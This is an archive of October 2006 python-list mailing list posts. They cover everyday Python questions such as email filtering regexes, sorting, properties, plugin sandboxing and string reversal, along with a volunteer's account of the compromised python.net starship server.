>     return a # it returns with a score of rejected matches or zero if none

I see, is this a cleanup script to remove the least wanted items?

The allow/deny caused me to think it was more along the lines of a white/black 
list.  Where as keep/discard would be terms more suitable to cleaning out items 
already allowed.

Or is it a bit of both?  Why the score?

Just curious, I don't think I have any suggestions that will help in any 
specific ways.

I would think the allow(keep?) filters would always have priority over deny filters.


> The patterns are taken from a configuration file. Those with Axx ='pattern' 
> are allowing streams the others are Dxx to block under different criteria.
> Here they're :
> 
> [Filters]
> A01 = ^From:.*\.it\b
> A02 = ^(To|Cc):.*frioio@
> A03 = ^(To|Cc):.*the_sting@
> A04 = ^(To|Cc):.*calm_me_or_die@
> A05 = ^(To|Cc):.*further@
> A06 = ^From:.*\.za\b
> D01 = ^From:.*\.co\.au\b
> D02 = ^Subject:.*\*\*\*SPAM\*\*\*
> 
> *A bit of fake in order to get some privacy* :)
> I'm using configparser to fetch their value and they're are joint by :
> 
>     allow = re.compile('|'.join([k[1] for k in ifil if k[0] is 'a']))
>     deny = re.compile('|'.join([k[1] for k in ifil if k[0] is 'd']))
> 
> ifil is the input filter's section.
 >
> At this point I suppose that I have realized the right thing, just I'm a bit 
> curious to know if ithere's a better chance and realize a single regex 
> compilation for all of the options.

I think keeping the allow filter seperate from the deny filter is good.

You might be able to merge the header lines and run the filters across the whole 
header at once instead of each line.

> Basically the program will work, in term of filtering as per config and 
> sincronizing with local $HOME/Mail/trash (configurable path). This last 
> option will remove emails on the server for those that are in the local 
> trash.
> Todo = backup local and remote emails for those filtered as good.
>             multithread to connect all server in parallel
>             SSL for POP3 and IMAP4 as well
> Actually I've problem on issuing the command to imap server to flag "Deleted" 
> the message which count as spam. I only know the message details but what 
> is the correct command is a bit obscure, for me.

I can't help you here.  Sorry.

> BTW whose Fred?
> 
> F

Fredrik   see...

    news://news.cox.net:119/mailman.670.1161155836.11739.python-list at python.org




From diffuser78 at gmail.com  Mon Oct 23 22:25:25 2006
From: diffuser78 at gmail.com (Daniel)
Date: 23 Oct 2006 19:25:25 -0700
Subject: Network Simulator in Python
Message-ID: <1161656725.365967.305510@h48g2000cwc.googlegroups.com>

Hi,

I was wondering if anybody can give me pointers on an existing network
simulator in Python somthing like ns2 which would model all the real
world internet dynamics including TCP stacks, congestion, flow control
etc.

Every help is appreciated,

Thanks



From bignose+hates-spam at benfinney.id.au  Wed Oct 11 01:56:26 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 15:56:26 +1000
Subject: Difference between unindexable and unsubscriptable
References: <eghtcj$lrh$1@skeeter.ucdavis.edu> <87zmc376py.fsf@benfinney.id.au>
	<463ff4860610102246l35719e13m28ec4cbed41fa149@mail.gmail.com>
Message-ID: <87mz8375v9.fsf@benfinney.id.au>

"Theerasak Photha" <hanumizzle at gmail.com> writes:

> On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> > Jackson <jackson at hotmail.com> writes:
> >
> > > I would like to test if an object can accept:   obj[0]
> >
> > Then do so. Use the object in the way you want to use it, and catch
> > any exceptions that you want to handle.
>
> I'm trying to learn about style conventions in Python. How would use
> of getattr compare?

I'm having trouble knowing what you need explained.

You have available to you an interactive Python interpreter, and the
documentation. Can you show us some sessions in the interpreter that
you still find confusing after you read the relevant documentation?

-- 
 \       "When I get new information, I change my position. What, sir, |
  `\          do you do with new information?"  -- John Maynard Keynes |
_o__)                                                                  |
Ben Finney



From fredrik at pythonware.com  Mon Oct 30 06:52:36 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 12:52:36 +0100
Subject: MemoryError
In-Reply-To: <5a00f6240610300347k31de6ae8qc89e48fba98e50a1@mail.gmail.com>
References: <5a00f6240610300347k31de6ae8qc89e48fba98e50a1@mail.gmail.com>
Message-ID: <ei4p23$ken$1@sea.gmane.org>

Bugra Cakir wrote:

> I have found a "MemoryError" exception in my program. How can i output 
> Python interpreter log or how can i find the root cause of this
 > "MemoryError" exception ?

this means that you've run out of memory; the ordinary traceback 
print-out should tell you where.

     http://effbot.org/pyref/MemoryError.htm

</F>



From bjobrien62 at gmail.com  Mon Oct 16 17:21:06 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 16 Oct 2006 14:21:06 -0700
Subject: Need a strange sort method...
In-Reply-To: <mailman.589.1161025470.11739.python-list@python.org>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<mailman.589.1161025470.11739.python-list@python.org>
Message-ID: <1161033666.530364.289340@i3g2000cwc.googlegroups.com>


Tim Chase wrote:
> > for example:
> > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
> >
> > def cmp(i,j):  #to be defined in this thread.
>
> Well, if you're willing to give up doing it in a cmp() method,
> you can do it as such:
>
>  >>> a.sort()
>  >>> chunk_size = 3
>  >>> [a[i::chunk_size] for i in range(chunk_size)]
> [[1, 4, 7, 10], [2, 5, 8], [3, 6, 9]]
>
> If you need it in a flat list, rather than as a list of
> chunk_size lists (which are handy for iterating over in many
> cases), there are ways of obtaining it, such as the hackish
>
>  >>> sum([a[i::chunk_size] for i in range(chunk_size)], [])
> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
>
> There are likely good recipes for flattening a list.  I just
> happen not to have any at my fingertips.
>
> I'm not sure it's possible to do in a cmp() method, given that it
> requires apriori knowledge of the dataset (are the numbers
> contiguous?).  Unless, of course, you have such a list...
>
> However, as a benefit, this method should work no matter what the
> list contains, as long as they're comparable to each other for an
> initial sorting:
>
>  >>> a = [chr(ord('a') + i) for i in range(10)]
>  >>> # a.sort() if it were needed
>  >>> a
> ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j']
>  >>> sum([a[i::chunk_size] for i in range(chunk_size)], [])
> ['a', 'd', 'g', 'j', 'b', 'e', 'h', 'c', 'f', 'i']
>
>
> -tkc


Yes this is excellent...
Doh... How easy was that! :)
[a[i::chunk_size] for i in range(chunk_size)]



From jstroud at mbi.ucla.edu  Thu Oct 19 14:54:22 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Thu, 19 Oct 2006 18:54:22 GMT
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <1161283281.065339.290070@i3g2000cwc.googlegroups.com>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<1161283281.065339.290070@i3g2000cwc.googlegroups.com>
Message-ID: <yRPZg.1144$T_1.410@newssvr14.news.prodigy.com>

Paul Boddie wrote:
> James Stroud wrote:
>>(1,2,3).reversed()
>>
>>"123".reversed()
>>
>>[1,2,3].reversed()
 >
> I guess Python 2.5 has the reversed method of which you speak.

Not that I could find (as methods of any built in sequence type). 2.5 
just has the "reversed" function that returns and iterator and so 2.5 
requires these kind of gymnastics on built in sequences:

> "".join(list(reversed(list(s))))

Of course, I think str.join can operate on iterators, as Paul Rubin 
suggests:

 > print ''.join(reversed(x))

This latter approach still seems a little clunky, though.

James


-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From bearophileHUGS at lycos.com  Mon Oct  2 14:09:18 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 11:09:18 -0700
Subject: How to coerce a list of vars into a new type?
In-Reply-To: <87zmceiphg.fsf@killalla.dreaming>
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
	<1159803031.530669.105050@k70g2000cwa.googlegroups.com>
	<mailman.1113.1159809093.10491.python-list@python.org>
	<1159809439.409720.105860@m73g2000cwd.googlegroups.com>
	<87zmceiphg.fsf@killalla.dreaming>
Message-ID: <1159812558.347862.80520@h48g2000cwc.googlegroups.com>

Bj?rn Lindstr?m:
> I would probably put that map in an assert statement, to make the
> intention clearer.

Isn't putting an explanation comment before that line enough?

Bye,
bearophile



From hxianping at gmail.com  Fri Oct 27 10:52:59 2006
From: hxianping at gmail.com (steve)
Date: 27 Oct 2006 07:52:59 -0700
Subject: How the event list be sent to EventManager?
In-Reply-To: <mailman.1241.1161845067.11739.python-list@python.org>
References: <1161844141.057735.252310@e3g2000cwe.googlegroups.com>
	<mailman.1241.1161845067.11739.python-list@python.org>
Message-ID: <1161960779.274517.116730@i3g2000cwc.googlegroups.com>

Can an argument to reference an object's attribute??

Fredrik Lundh wrote:
> steve wrote:
>
> > The example code from: http://sjbrown.ezide.com/games/example1.py.html
> > ...
> > def Notify( self, event ):
> >                 if not isinstance(event, TickEvent): Debug( "
> > Message: " + event.name )
> >                 for listener in self.listeners.keys():
> >                         #If the weakref has died, remove it and
> > continue
> >                         #through the list
> >                         if listener is None:
> >                                 del self.listeners[ listener ]
> >                                 continue
> >                         listener.Notify( event )
> >
> > I can not figure out how 'event' can has reference to 'event.name'?
>
> because the developer expects you to pass in an object that has a name
> attribute ?  (one of the Event types defined at the top of that module,
> most likely).
>
> > Anyhow the 'event' has not defined!
>
> it's an argument to the method.
>
> > The 'event' dynamically get its own type through
> > isinstance(event,TickEvent):...?
>
> no, that line simply checks if it's a specific Event type, and enables
> debug logging for all other event types.
> 
> </F>



From sachinpunjabi at gmail.com  Mon Oct 30 04:15:52 2006
From: sachinpunjabi at gmail.com (Sachin Punjabi)
Date: 30 Oct 2006 01:15:52 -0800
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162198497.288698.244940@k70g2000cwa.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>
	<mailman.1471.1162196999.11739.python-list@python.org>
	<1162197440.574405.195010@m7g2000cwm.googlegroups.com>
	<1162198497.288698.244940@k70g2000cwa.googlegroups.com>
Message-ID: <1162199750.797149.317970@m7g2000cwm.googlegroups.com>



On Oct 30, 1:54 pm, "Leo Kislov" <Leo.Kis... at gmail.com> wrote:
> Sachin Punjabi wrote:
> > On Oct 30, 1:29 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> > > Sachin Punjabi wrote:
> > > > The OS is Windows XPthen your installation is seriously broken.  where did you get the
> > > installation kit?  have you removed stuff from the Lib directory ?
>
> > > </F>
>
> > It was already installed on my PC and I have no clue how it was
> > installed or any changes has been done.Then it's a distribution of your PC manufacturer. They could omit some
> modules like utf-8 codec.
>
> > I am just downloading newer
> > version from python.org and will install and check it. I think there
> > should be problem with installation itself.That's a right idea, I'd also recommend to leave the manufacturer's
> python distribution alone. Do not remove it, do not upgrade it. Some
> programs provided by the manufacturer can stop working. If the
> preinstalled python was installed into c:\python24 directory, choose
> some other directory when you install python from python.org.
>
>   -- Leo

I installed it again but it makes no difference. It still throws me
error for LookUp Error: unknown encoding : utf-8.

Sachin



From amitsoni.1984 at gmail.com  Sun Oct 15 05:57:29 2006
From: amitsoni.1984 at gmail.com (amitsoni.1984 at gmail.com)
Date: 15 Oct 2006 02:57:29 -0700
Subject: Problem with importing a package
Message-ID: <1160906249.129975.226020@k70g2000cwa.googlegroups.com>

I have to work with matrices on python and for that i need a package
NUMPY. I downloaded it and saved it in the same folder as the program
which imports it. But on running the program it gives an error
"ImportError: No module named numpy". Do we need to save the file
required to be imported in a specific folder?

Plz help me out with this.

Thanks

Amit



From email at christoph-haas.de  Wed Oct 25 07:17:48 2006
From: email at christoph-haas.de (Christoph Haas)
Date: Wed, 25 Oct 2006 13:17:48 +0200
Subject: web-based SSH
In-Reply-To: <453F3593.5010203@al.com.au>
References: <453F3593.5010203@al.com.au>
Message-ID: <200610251317.48278.email@christoph-haas.de>

On Wednesday 25 October 2006 11:59, Astan Chee wrote:
> I was looking for a web-based SSH client (something like
> www.port42.com..but for some reason it doesnt work..can anyone verify
> this)..does anyone know any other alternative to other websites that
> offer this? If you're gonna scream 'security!security!' well, its for
> testing purposes and the box im ssh-ing into is "expandable" and
> "disposeable" Cheers

Perhaps "Ajaxterm" helps. But how is that connected to Python?

 Christoph


From cameron.walsh at gmail.com  Tue Oct 24 03:35:39 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Tue, 24 Oct 2006 15:35:39 +0800
Subject: Sorting by item_in_another_list
In-Reply-To: <mailman.1034.1161665444.11739.python-list@python.org>
References: <mailman.1034.1161665444.11739.python-list@python.org>
Message-ID: <ehkfmj$2ol$1@enyo.uwa.edu.au>

Delaney, Timothy (Tim) wrote:
> Cameron Walsh wrote:
> 
>> Hi,
>>
>> I have two lists, A and B, such that B is a subset of A.
>>
>> I wish to sort A such that the elements in B are at the beginning of
>> A, and keep the existing order otherwise, i.e. stable sort.  The
>> order of elements in B will always be correct.
>>
>> for example:
>>
>> A = [0,1,2,3,4,5,6,7,8,9,10]
>> B = [2,3,7,8]
>>
>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
> 
> c = set(B)
> a.sort(key=c.__contains__, reverse=True)
> 
> Tim Delaney

Depressingly simple.  I like it.


From ebgssth at gmail.com  Fri Oct 13 09:06:45 2006
From: ebgssth at gmail.com (js )
Date: Fri, 13 Oct 2006 22:06:45 +0900
Subject: prefix search on a large file
In-Reply-To: <egltir$ae8$02$1@news.t-online.com>
References: <mailman.365.1160642731.11739.python-list@python.org>
	<1160647737.312386.37800@c28g2000cwb.googlegroups.com>
	<a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>
	<mailman.386.1160667922.11739.python-list@python.org>
	<egltir$ae8$02$1@news.t-online.com>
Message-ID: <a23effaf0610130606k12658ed6ja855b0db86d7de88@mail.gmail.com>

I did the test the way you suggested. It took not so long to realize
stupid mistakes I made. Thank you.

The following is the result of test with timeit(number=10000)
using fresh copy of the list  for every iteration

0.331462860107
0.19401717186
0.186257839203
0.0762069225311

I tried my recursive-function to fix up my big-messed-list.
It stops immediately because of 'RuntimeError: maximum recursion limit exceeded'

I hope this trial-and-errors getting me good place...

anyway, thank you.

On 10/13/06, Peter Otten <__peter__ at web.de> wrote:
> js  wrote:
>
> > By eliminating list cloning, my function got much faster than before.
> > I really appreciate you, John.
> >
> > def prefixdel_recursively2(alist):
> >     if len(alist) < 2:
> > return alist
> >
> >     first = alist.pop(0)
> >     unneeded = [no for no, line in enumerate(alist) if
> >     line.startswith(first)] adjust=0
> >     for i in unneeded:
> >         del alist[i+adjust]
> > adjust -= 1
> >
> >     return [first] + prefixdel_recursively(alist)
> >
> >
> > process stime
> > prefixdel_stupidly         : 11.9247150421
> > prefixdel_recursively   : 14.6975700855
> > prefixdel_recursively2 : 0.408113956451
> > prefixdel_by_john        : 7.60227012634
>
> Those are suspicious results. Time it again with number=1, or a fresh copy
> of the data for every iteration.
>
> I also have my doubts whether sorting by length is a good idea. To take it
> to the extreme: what if your data file contains an empty line?
>
> Peter
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From hpsekhon at googlemail.com  Tue Oct  3 12:26:22 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Tue, 03 Oct 2006 17:26:22 +0100
Subject: Best way to handle large lists?
In-Reply-To: <efttv2$9p6$1@gemini.csx.cam.ac.uk>
References: <prrUg.1662$We.477@trndny08>	<jwjw-E75E09.09362703102006@news.isp.giganews.com>	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>	<7xodst3337.fsf@ruckus.brouhaha.com>
	<45227982.4060808@hotmail.com> <efttv2$9p6$1@gemini.csx.cam.ac.uk>
Message-ID: <45228F2E.4010409@googlemail.com>

Jeremy Sanders wrote:
> Chaz Ginger wrote:
>
>   
>> What would sets do for me over lists?
>>     
>
> It's faster to tell whether something is in a set or dict than in a list
> (for some minimum size).
>
> Jeremy
>
>   
That is surprising since I read on this list recently that lists were 
faster than dicts and that variables stored in lists were faster 
referenced/used. It was one reason that was cited as to why local vars 
are better than global vars. The guy actually did a looping test and 
timed it to show the speed difference.

Can anybody please step in and correct us?

-h

Hari Sekhon
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From hanumizzle at gmail.com  Fri Oct  6 05:15:54 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 05:15:54 -0400
Subject: help on pickle tool
In-Reply-To: <1160125387.706686.70090@h48g2000cwc.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
	<1160124108.779860.236940@i3g2000cwc.googlegroups.com>
	<mailman.1428.1160124488.10491.python-list@python.org>
	<1160125387.706686.70090@h48g2000cwc.googlegroups.com>
Message-ID: <463ff4860610060215r37b6711cldd2bca0ab3de5459@mail.gmail.com>

On 6 Oct 2006 02:03:07 -0700, virg <06virg at gmail.com> wrote:
> At the server, based on client request it does some computations , it
> sends the result as dictionary (serialized) to the client.

If I interpret your message correctly, you are receiving a Python
dictionary object from the server. Yes? In this case, I guess it might
be necessary to use Jython. I'm drawing a blank otherwise.

(This may be naive, but can you write the client in Python as well?)

-- Theerasak


From http  Tue Oct 10 06:48:00 2006
From: http (Paul Rubin)
Date: 10 Oct 2006 03:48:00 -0700
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com> <egakob$76a$2@sea.gmane.org>
	<20061010114945.GA4478@dagan.sigpipe.cz>
	<mailman.201.1160476378.11739.python-list@python.org>
Message-ID: <7xslhwh2fz.fsf@ruckus.brouhaha.com>

"Fredrik Lundh" <fredrik at pythonware.com> writes:
> or for the perhaps-overly-clever hackers,
> 
>     for x in iter(lambda: foo() or None, None):
>         process(x)

for x in takewhile(foo() for _ in repeat(None)):
   process (x)


From knipknap at gmail.com  Tue Oct  3 18:43:02 2006
From: knipknap at gmail.com (Samuel)
Date: 3 Oct 2006 15:43:02 -0700
Subject: Running scripts in a sandbox
Message-ID: <1159915382.502133.299850@h48g2000cwc.googlegroups.com>

Hi,

I currently have two files:

core.py
  Runs the application, provides APIs to plugins

untrusted-plugin.py
  Executes code using the API from core.py

I would like to run the code of untrusted-plugin.py in a sandbox, but
still provide it with some hooks to the core API.
My environment does not allow me to apply any changes OS-wise (standard
web hoster), so I have no way to run the plugin in another process.

I found a reference to rexec using Google, but apparently it was
removed due to security issues in Python 2.3. Is there antoher way to
do this?

Thanks,
-Samuel



From micahel at gmail.com  Mon Oct 16 06:15:57 2006
From: micahel at gmail.com (micahel at gmail.com)
Date: 16 Oct 2006 03:15:57 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1160983523.518768.16110@e3g2000cwe.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
Message-ID: <1160993757.780911.37610@b28g2000cwb.googlegroups.com>

rurpy at yahoo.com wrote:
> Then perhaps he should have said that, in which case I would
> have explained why he did not understand what he read.  Let me
> try again...

Well, let's have some answers then.

> 1. A site which hosts (I think, hence the questions) a number
> of high profile, popular python projects was compomised.

Yes.  However, it doesn't *seem* as if the machine was deliberately
targeted, and I think it's unlikely the attackers were interested in
trojanning software.  But of course the machine was rooted, so it's
pretty hard to be sure of these things.

> 2. It was compromised with a root kit which by their nature,
> often go undetected for a long time.

As far as I can tell, the machine was compromised on 2006-09-02.

Irritatingly we didn't find out until just after logrotate had deleted
the logs for around the time of the attack.

It wasn't a very subtle rootkit -- installing a version of netstat with
different command line options, for example...

> 5. Verifying that such a thing has not happened can be very
> difficult, particularly if the date and other details of the
> compromise cannot be accurately determined.

I guess you should find out from the author of whatever you downloaded
what the checksums should have been for what you downloaded and check
that against what you downloaded.

If you don't still have the downloaded files, I can tell you what the
md5's of the files in the back up are.

> 6. Many organisations give image and pr a higher priority
> than the safety of their customers/users and wave off security
> breechs with "don't worry, everything is fine.  We're sure
> nothing has been touched" when in fact they have no idea.

There is no organization behind python.net.

I am a volunteer.  I help run python.net in my spare time.

> 7. I have seen no public statements or information about
> this leading me to wonder about the stuation and how it's
> being handled, hence my seeking of further information.

I'm sorry, I'm busy trying to get the server going again.

> But, I am still completely at a loss why you, he, or anyone,
> based on the information presented so far,.would conclude
> that the python security problem is unrelated.

Why would it be?  For all it's position in the community, there aren't
actually many python web apps running on python.net, certainly not as
root...

Cheers,
mwh



From http  Thu Oct 12 02:36:58 2006
From: http (Paul Rubin)
Date: 11 Oct 2006 23:36:58 -0700
Subject: How to write Smart Python programs?
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
	<452cbe11$1@news.vo.lu> <452de0f6$1@news.vo.lu>
Message-ID: <7xu02a11md.fsf@ruckus.brouhaha.com>

Antoine De Groote <antoine at vo.lu> writes:
> In the snippet above (taken from the Python doc
> http://docs.python.org/lib/built-in-funcs.html), self.__x is
> initialized, but never used. I would appreciate any explanation for
> this.

Looks like a typo, should say self._x .


From python.list at tim.thechases.com  Fri Oct 13 11:07:25 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Fri, 13 Oct 2006 10:07:25 -0500
Subject: Line algorithim for python and numeric
In-Reply-To: <463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com>
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>
	<463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com>
Message-ID: <452FABAD.6000601@tim.thechases.com>

>>   I'm wondering if anyone knows of a way to extract data from a numeric
>> array along a line. I have a gridded dataset which I would like to be
>> able to choose two points and extract a 1-d array of the data values
>> along the line between the two points. Any ideas?
> 
> Are these all 45 degree lines or what?
> 
> If not, you'll have to use trigonometry and approximate the closest
> matching cell. (Don't worry, Python has maths functions!! :))


There are a couple of optimal/easy cases where the run is 
horizontal, vertical, or as you describe, 45-degrees (where 
x_step = y_step or x_step = -y_step)

Any other set of arbitrary points, and you will have to specify 
the behavior a little more finely.

You can use something like Bresenham's algorithm to march either 
"over" or "up and over" to just pick out the "one point at each 
step that falls closest to the actual line" along the run. 
There's also the Wu Anti-aliasing line algorithm which takes 
something akin to Bresenham's algorithm and then samples the 
potential points to yield an "anti-aliased" result which averages 
the two potential  data-points (traditionally colors, but they 
could really be any average-able data values).

I'm not sure I've seen either of them implemented in Python 
before (though actually *looking* for them might increase those 
odds ;-)

http://en.wikipedia.org/wiki/Xiaolin_Wu's_line_algorithm

has details and a pseudo-code implementation (which shouldn't be 
too far from the Python code).  It's also got links to stuff on 
Bresenham's.

-tkc




From idknow at gmail.com  Thu Oct 12 16:44:14 2006
From: idknow at gmail.com (idknow at gmail.com)
Date: 12 Oct 2006 13:44:14 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <7x4pu9bw3z.fsf@ruckus.brouhaha.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
	<7x4pu9bw3z.fsf@ruckus.brouhaha.com>
Message-ID: <1160685854.118420.133080@e3g2000cwe.googlegroups.com>

Paul Rubin wrote:
> Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:
> > > fun median {
> > >  var x = 0.
> > >   while( *p++) {
> > >     if( (*p) > x) x = *p.
> > >   }
> > >   return x.
> > > }
> >
> > I count two variables, p and x.
>
> Also, that finds the maximum, not the median.  I had stopped examining
> it after seeing it used more than one variable.

oops, i apologise, the > should be <
that's just a typo.

As for your quoting, you cut off the global var line and miscounted; p
is a global or from the caller of median()

also, i plead `too early in the morning to code properly' :)

clearly, i've forgotten the definition of the median of a list.
to that i plead faulty memory.

my apologises for coding at a bad hour.



From bignose+hates-spam at benfinney.id.au  Wed Oct 11 06:23:44 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 20:23:44 +1000
Subject: How to write Smart Python programs?
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu>
Message-ID: <87lknn5exb.fsf@benfinney.id.au>

Antoine De Groote <antoine at vo.lu> writes:

> Ok, the first Google result 
> (http://dirtsimple.org/2004/12/python-is-not-java.html) says this somewhere:
>
> "Getters and setters are evil. Evil, evil, I say! Python objects are
> not Java beans. Do not write getters and setters. This is what the
> 'property' built-in is for. And do not take that to mean that you
> should write getters and setters, and then wrap them in
> 'property'. (1) That means that until you prove that you need
> anything more than a simple attribute access, don't write getters
> and setters. They are a waste of CPU time, but more important, they
> are a waste of programmer time. Not just for the people writing the
> code and tests, but for the people who have to read and understand
> them as well. [...]"
>
> What exactly is meant by (1)? The python library reference includes
> this as an example:
>
> class C(object):
>      def __init__(self): self.__x = None
>      def getx(self): return self._x
>      def setx(self, value): self._x = value
>      def delx(self): del self._x
>      x = property(getx, setx, delx, "I'm the 'x' property.")
>
> To me this seems contradictory. Why would one not want to do
> something that is included in the documentation? Or am I just
> confused? Does anybody have an idea how to put me in the right
> direction?

Note that, to a user of that class, the fact that it's implemented as
a property is opaque. Thus, changing an attribute from a simple value
object, to a property, can be done as and when needed, without
changing any of the code that uses that class.

So, it's best to always code plain public attributes without getters
and setters in the first instance:

    >>> class Foo(object):
    ...     def __init__(self):
    ...         self.menu = "spam"
    ...

    >>> foo = Foo()
    >>> foo.menu
    'spam'
    >>> foo.menu = "sausage"
    >>> foo.menu
    'sausage'

Because later, when one wants to refactor the implementation of that
attribute without changing the interface, only the implementation
needs to change:

    >>> class Foo(object):
    ...     def __init__(self):
    ...         self._menu = ["spam", "eggs", "beans"]
    ...         self.current_item = 0
    ...     def _get_menu(self):
    ...         return self._menu[self.current_item]
    ...     def _set_menu(self, value):
    ...         self._menu[self.current_item] = value
    ...     menu = property(_get_menu, _set_menu)
    ...

And the code that uses that attribute can remain the same:

    >>> foo = Foo()
    >>> foo.menu
    'spam'
    >>> foo.menu = "sausage"
    >>> foo.menu
    'sausage'

Thus, coding getters and setters without a demonstrated need to do so
in a particular case is a waste of effort and an increase in
complexity, with no benefit.

> I'm not done with 'How To Ask Questions The Smart Way' yet, so
> please forgive any violations.

Your awareness of that document, and your attempt to follow it
sincerely, is much more important.

-- 
 \      "He that would make his own liberty secure must guard even his |
  `\                          enemy from oppression."  -- Thomas Paine |
_o__)                                                                  |
Ben Finney



From renato.serodio at gmail.com  Mon Oct 30 21:24:01 2006
From: renato.serodio at gmail.com (Renato)
Date: 30 Oct 2006 18:24:01 -0800
Subject: python, threading and a radio timer
Message-ID: <1162261441.729997.309220@k70g2000cwa.googlegroups.com>

Dear all,

I found this nifty article on how to record your favourite radio show
using cron and mplayer:
http://grimthing.com/archives/2004/05/20/recording-streaming-audio-with-mplayer/

Because I couldn't get the date in the filename (and was too lazy to
look into sh/bash manuals), I decided to use Python. It was a good
choice, because I decided to improve the timer - learning some more
Python along the way!

So, the idea is:
- cron runs the script at a specific time
- the script starts mplayer, and will keep checking the clock until
it's time to kill mplayer
- after mplayer has exited, oggenc is started to turn the raw WAV into
ogg
- and finally the remaining WAV is deleted

This basic setting is quite easy, and I used os.spawnvp(os.P_WAIT,...),
along with another CRON entry to kill mplayer.

But then I got more ambitious: I wanted the script to keep checking if
mplayer was alive - in case the connection goes down. Moreover, I would
rather have the script stop mplayer than cron.

At this point, I thought I should get some professional help... :) What
is the right way to go? Would threads be overkill? If so, where can I
go about looking for process control/management without delving into
complex daemon architectures?

So, rather than asking for code, I'm looking for guidance - this is a
didactic experience!

Cheers,

Renato



From johnjsal at NOSPAMgmail.com  Mon Oct 30 10:10:48 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 15:10:48 GMT
Subject: wxPython changed ??
In-Reply-To: <1162175716.450967.190790@e3g2000cwe.googlegroups.com>
References: <1162175716.450967.190790@e3g2000cwe.googlegroups.com>
Message-ID: <YBo1h.194$1n3.4480@news.tufts.edu>

Jia Lu wrote:
> Hi all.
>  I'm using wxPython 2.6.3.2-2 on FC 6.
>  I wrote a demo used 'self.Bind(xxxxxx)' but I got an error says:
>    " MyFrame instance has no attribute 'Bind' "
> 
>  I did that when I used FC 5 and it worked.
> 
>  Is new wxPy changed about the Bind method??
> 
> thanx
> 

Please post the code.


From vatamane at gmail.com  Sun Oct 29 15:02:41 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 12:02:41 -0800
Subject: Observation on "Core Python Programming"
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
Message-ID: <1162152161.321947.257870@m73g2000cwd.googlegroups.com>

I would consider that an omission. Functions are very important in
Python. I think the user/reader should see the _def_ and _class_
statement fairly soon in the introduction.  The name of the book is
thus somewhat misleading, because functions are at the "core" of
Python.

Functions should be right there with the integers, strings, files,
lists and dictionaries. Another important point to stress, in my
opinion,  is that functions are first-class objects. In other words
functions can be passes around just like strings and numbers!

-Nick Vatamaniuc


John Coleman wrote:
> Greetings,
>    My copy of the second edition of Chun's "Core Python Programming"
> just arrived from Amazon on Friday. What really jumped out at me is an
> interesting feature about how it sequences its topics, namely,
